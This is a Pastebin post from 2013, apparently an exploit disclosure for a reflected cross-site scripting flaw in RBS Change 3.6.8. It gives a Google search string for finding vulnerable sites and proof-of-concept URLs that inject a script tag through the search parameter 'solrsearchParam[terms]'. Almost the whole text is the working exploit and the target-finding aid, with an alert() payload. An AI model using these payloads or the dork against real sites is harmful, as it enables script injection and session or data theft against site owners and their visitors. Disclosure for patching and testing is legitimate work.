Advertisement
AndrewHaxalot

RBS Change 3.6.8 - XSS

Dec 29th, 2013
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.80 KB | None | 0 0
  1. ###########################################
  2. #
  3. # Script Name : RBS Change
  4. #
  5. # Version : v3.6.8
  6. #
  7. # Bug Type : XSS vulnerability
  8. #
  9. # Found by : Metropolis
  10. #
  11. # Home : http://metropolis.fr.cr
  12. #
  13. # Discovered : 25/12/2013
  14. #
  15. # Download app : http://www.rbschange.fr/addons/distributions/RBS-Change-Core,51422.html
  16. #
  17. # Google search : Propulsé par RBS Change
  18. #
  19. ###########################################
  20.  
  21. PoC :
  22.  
  23. http://[target]/[path]/fr/website/Resultat-de-recherche,12470.html?solrsearchParam[terms]=[XSS]
  24.  
  25. Example :
  26.  
  27. http://[target]/[path]/fr/website/Resultat-de-recherche,12470.html?solrsearchParam[terms]=1"><script>alert(31337);</script>
  28.  
  29. local Example :
  30.  
  31. http://localhost/demo/fr/website/Resultat-de-recherche,12470.html?solrsearchParam[terms]=1"><script>alert(31337);</script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement